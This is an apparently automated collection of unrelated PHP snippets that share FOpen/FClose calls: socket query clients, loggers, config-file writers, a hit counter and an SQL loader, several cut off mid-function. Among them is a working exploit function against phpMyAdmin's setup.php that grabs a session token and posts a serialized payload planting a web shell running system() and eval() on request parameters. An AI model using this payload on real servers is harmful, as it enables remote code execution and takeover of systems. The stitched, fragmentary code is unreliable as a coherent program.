public function Close() { if ($this->Socket) { FClose($this->Socket); $this->Socket = null; } }
public function Disconnect() { if ($this->Socket) { FClose($this->Socket); $this->Socket = null; } }
private static function _log($data, $level, $withTimestamp) { $prependText = $withTimestamp ? date('j.n.Y H:i:s') . ' : ' : ''; if ($level == 'err') { $fileNameSuffix = '-error'; // naformatovanie dat tak aby boli pekne zarovnane $sid = str_pad(session_id(), 26, ' '); $ip = str_pad($_SERVER['REMOTE_ADDR'], 15, ' '); $prependText .= "SID:{$sid} , IP:{$ip} , "; } else { $fileNameSuffix = ''; } if (is_array($data) || is_object($data)) { $data = PHP_EOL . var_export($data, true); } if (is_bool($data)) { $data = $data ? 'boolean true' : 'boolean false'; } try { $f = FOpen(LOG_DIR . date('Y-m-d') . "{$fileNameSuffix}.txt", "a"); FWrite($f, $prependText . $data . PHP_EOL); FClose($f); } catch (Exception $e) { } }
public function Close() { if ($this->RconSocket) { FClose($this->RconSocket); $this->RconSocket = null; } $this->RconRequestId = 0; }
public function Close() { if ($this->RconSocket) { FClose($this->RconSocket); $this->RconSocket = null; } $this->RconChallenge = 0; $this->RconRequestId = 0; $this->RconPassword = 0; }
public function logg($text, $id_uzivatele = null) { $fp = FOpen($this->soubor, 'a'); if ($id_uzivatele) { $osoba = $id_uzivatele; } else { $osoba = $this->id_uzivatele; } if (!$osoba) { $osoba = '000000'; } FPutS($fp, Date("Y-m-d H:i:s") . " gis: {$osoba} " . NStrings::toAscii($text) . "\n"); FClose($fp); }
public function Connect($Ip, $Port = 25565, $Timeout = 3) { if ($this->Socket = FSockOpen('udp://' . $Ip, (int) $Port)) { Socket_Set_TimeOut($this->Socket, $Timeout); $Challenge = $this->GetChallenge(); if ($Challenge === false) { FClose($this->Socket); return false; } if (!$this->GetStatus($Challenge)) { FClose($this->Socket); return false; } FClose($this->Socket); return true; } else { return false; } }
public function Connect($Ip, $Port = 25565, $Timeout = 3) { if (!is_int($Timeout) || $Timeout < 0) { throw new InvalidArgumentException('Timeout must be an integer.'); } $this->Socket = @FSockOpen('udp://' . $Ip, (int) $Port, $ErrNo, $ErrStr, $Timeout); if ($ErrNo || $this->Socket === false) { throw new MinecraftQueryException('Could not create socket: ' . $ErrStr); } Stream_Set_Timeout($this->Socket, $Timeout); Stream_Set_Blocking($this->Socket, true); try { $Challenge = $this->GetChallenge(); $this->GetStatus($Challenge); } catch (MinecraftQueryException $e) { FClose($this->Socket); throw new MinecraftQueryException($e->getMessage()); } FClose($this->Socket); }
function SaveUploadedFile($Table, $ID, $File) { #------------------------------------------------------------------------------- $FilePaths = GetFilePath($Table, $ID); #------------------------------------------------------------------------------- # создаём директорию if (!File_Exists($FilePaths['FileDir'])) { if (!MkDir($FilePaths['FileDir'], 0700, true)) { return new gException('CANNOT_CREATE_DIRECTORY', 'Не удалось создать директорию для сохранения файла'); } } #------------------------------------------------------------------------------- # сохраняем файл $fp = FOpen($FilePaths['FilePath'], 'w'); FWrite($fp, $File); FClose($fp); #------------------------------------------------------------------------------- return TRUE; #------------------------------------------------------------------------------- }
private function build($url, $file) { // Get content from $url $curl = curl_init($url); // Create the file name $output_file = FOpen($file, 'w'); // Set some headers curl_setopt($curl, CURLOPT_FILE, $output_file); curl_setopt($curl, CURLOPT_HEADER, 0); // Exec the request curl_exec($curl); // Print results echo "<li><a href=\"{$file}\">" . $file . "</a></li>"; /*echo "<pre>"; print_r( curl_getInfo( $curl ) ); echo "</pre>";*/ // Close conection curl_close($curl); // Close file FClose($output_file); }
function BuildItemDesc($file) { print " * Loading multis config file...\n"; $cfg_file = ReadConfigFile($file); if ($cfg_file == FALSE) { print "Cant open {$file} ({$php_errormsg}). Blame Stephen Donald.\n"; exit; } print " * Purging itemdesc.cfg for new write...\n"; $handle = FOpen("itemdesc.cfg", "w"); FClose($handle); $handle = FOpen("itemdesc.cfg", "a"); print " * Finding elem names..."; $elem_names = GetConfigStringKeys($cfg_file, CLASS_LABELS_ON); print "(" . Count($elem_names) . ")\n"; foreach ($elem_names as $elem_name) { if (!Preg_Match("/^House\\s+/i", $elem_name)) { continue; } $multi_id = Preg_Replace("/^House\\s+/i", "", $elem_name); $objtype = HexDec($multi_id); $objtype += 16384; // 0x4000 $objtype = "0x" . DecHex($objtype); FWrite($handle, "House {$objtype}\n"); FWrite($handle, "{\n"); FWrite($handle, "\t// Main Stuff\n"); FWrite($handle, "\tName\t\tHouse{$objtype}\n"); FWrite($handle, "\tGraphic\t\t{$objtype}\n"); FWrite($handle, "\n"); FWrite($handle, "\t// Multi Info\n"); FWrite($handle, "\tMultiID\t\t{$multi_id}\n"); FWrite($handle, "}\n\n"); } FClose($handle); return 1; }
#------------------------------------------------------------------------------- if (!Is_Resource($Socket)) { #------------------------------------------------------------------------------- #Debug(SPrintF('[comp/Tasks/ServersUpTime]: cannot connect %s:%u with error: %s (%s)',$Server['Address'],$Port,$sError,$nError)); #------------------------------------------------------------------------------- } #------------------------------------------------------------------------------- $IPage = array('TestDate' => Time(), 'ServerID' => $Server['ID'], 'Service' => Trim($ServiceName), 'UpTime' => Is_Resource($Socket) ? 100 : 0, 'Day' => Date('d'), 'Month' => Date('m'), 'Year' => Date('Y')); #------------------------------------------------------------------------------- $IsInsert = DB_Insert('ServersUpTime', $IPage); if (Is_Error($IsInsert)) { return ERROR | @Trigger_Error(500); } #------------------------------------------------------------------------------- if (Is_Resource($Socket)) { FClose($Socket); } #------------------------------------------------------------------------------- } #------------------------------------------------------------------------------- # рассчиытваем значение IsOK $UpTimes = DB_Select('ServersUpTime', array('(SUM(`UpTime`*`Count`)/SUM(`Count`)) as `UpTime`'), array('UNIQ', 'Where' => SPrintF('`TestDate` > UNIX_TIMESTAMP() - %u * 24 * 60 *60 AND `ServerID` = %u', $Settings['DaysAgregate'] ? $Settings['DaysAgregate'] : 1, $Server['ID']))); switch (ValueOf($Server)) { case 'error': return ERROR | @Trigger_Error(500); case 'exception': return ERROR | @Trigger_Error(400); case 'array': break; default: return ERROR | @Trigger_Error(101);
function WriteElemToFile(&$elem_name, &$elem_lines) { $handle = FOpen("CleanedConfig.cfg", "a"); FWrite($handle, "{$elem_name}\n"); FWrite($handle, "{\n"); foreach ($elem_lines as $property => $values) { foreach ($values as $value) { FWrite($handle, "\t{$property}\t{$value}\n"); } } FWrite($handle, "}\n\n"); FClose($handle); return 1; }
function robin_file_write($filename_and_path, $data) { @umask(0131); $file = @FOpen($filename_and_path, 'wb+'); @flock($file, 2); @FPutS($file, $data); @flock($file, 3); @FClose($file); }
function CloseCreate() { FClose($this->serverLogHandle); }
public function Close() { return @FClose($this->File); }
function exploit($w00t) { $Handlex = FOpen("pmaPWN.log", "a+"); $useragent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) "; //firefox //first get cookie + token $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $w00t . "scripts/setup.php"); //URL curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 20); curl_setopt($curl, CURLOPT_USERAGENT, $useragent); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($curl, CURLOPT_TIMEOUT, 200); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); //return site as string curl_setopt($curl, CURLOPT_COOKIEFILE, "exploitcookie.txt"); curl_setopt($curl, CURLOPT_COOKIEJAR, "exploitcookie.txt"); $result = curl_exec($curl); curl_close($curl); if (preg_match_all("/token\"\\s+value=\"([^>]+?)\"/", $result, $matches)) { } $token = $matches[1][1]; if ($token != '') { print "\n[!] w00t! w00t! Got token = " . $matches[1][1]; FWrite($Handlex, "\n[!] w00t! w00t! Got token = " . $matches[1][1]); $payload = "token=" . $token . "&action=save&configuration=a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%27%5d=%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cpre%3e%27%3bsystem(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3beval(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"; print "\n[+] Sending evil payload mwahaha.. \n"; FWrite($Handlex, "\n[+] Sending evil payload mwahaha.. \n"); $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $w00t . "scripts/setup.php"); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 20); curl_setopt($curl, CURLOPT_TIMEOUT, 200); curl_setopt($curl, CURLOPT_USERAGENT, $useragent); curl_setopt($curl, CURLOPT_REFERER, $w00t); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $payload); curl_setopt($curl, CURLOPT_COOKIEFILE, "exploitcookie.txt"); curl_setopt($curl, CURLOPT_COOKIEJAR, "exploitcookie.txt"); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 3); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); $result = curl_exec($curl); curl_close($curl); print "\n[!] w00t! w00t! You should now have shell here"; print "\n[+] " . $w00t . "config/config.inc.php?c=id \n"; print "\n[!] Saved. Dont forget to check `pmaPWN.log`\n"; FWrite($Handlex, "\n[!] w00t! w00t! You should now have shell here"); FWrite($Handlex, "\n[+] " . $w00t . "config/config.inc.php?c=id \n"); } else { print "\n[!] Shit! no luck.. not vulnerable\n"; FWrite($Handlex, "\n[!] Shit! no luck.. not vulnerable\n"); return false; } FClose($Handlex); if (file_exists('exploitcookie.txt')) { unlink('exploitcookie.txt'); } //exit(); }
function Disconnect() { @FClose($this->sock); $this->sock = false; $this->WriteToLog("Client disconnected (" . $this->id . ", " . $this->ip . ")", 5); $this->server->RemoveConnection($this->id); }
return new gException('TASK_NOT_FOUND', 'Задание не найдено'); case 'array': break; default: return ERROR | @Trigger_Error(101); } #------------------------------------------------------------------------------- #------------------------------------------------------------------------------- $Tmp = System_Element('tmp'); if (Is_Error($Tmp)) { return ERROR | @Trigger_Error(500); } #------------------------------------------------------------------------------- $Marker = FOpen(SPrintF('%s/TaskLastExecute.txt', $Tmp), 'w'); FWrite($Marker, Date('YmdHis')); FClose($Marker); #------------------------------------------------------------------------------- #------------------------------------------------------------------------------- $TaskID = $Task['ID']; #------------------------------------------------------------------------------- $Free = DB_Query(SPrintF("SELECT IS_FREE_LOCK('Tasks%s') as `IsFree`", $TaskID)); if (Is_Error($Free)) { return ERROR | @Trigger_Error(500); } #------------------------------------------------------------------------------- $Rows = MySQL::Result($Free); if (Is_Error($Rows)) { return ERROR | @Trigger_Error(500); } #------------------------------------------------------------------------------- if (Count($Rows) < 1) {
<?php $fp = FOpen("pocitadlo.txt", "r"); $pocet = FRead($fp, 90); FClose($fp); $pocet = $pocet + 1; $fp = FOpen("pocitadlo.txt", "w"); FWrite($fp, $pocet); FClose($fp); echo "Navstev: " . $pocet;
FUNCTION RunSQL($link, $file) { IF(File_Exists($file)) { $fd = FOpen($file, "r"); $sql = FRead($fd, FileSize($file)); FClose($fd); $query = Split(";( )?(\r)?\n(\r)?", $sql); FOR($i = 0; $i < Count($query); $i++) { IF($query[$i] != "") { $link->Query($query[$i]); } } RETURN TRUE; } ELSE {RETURN FALSE;} }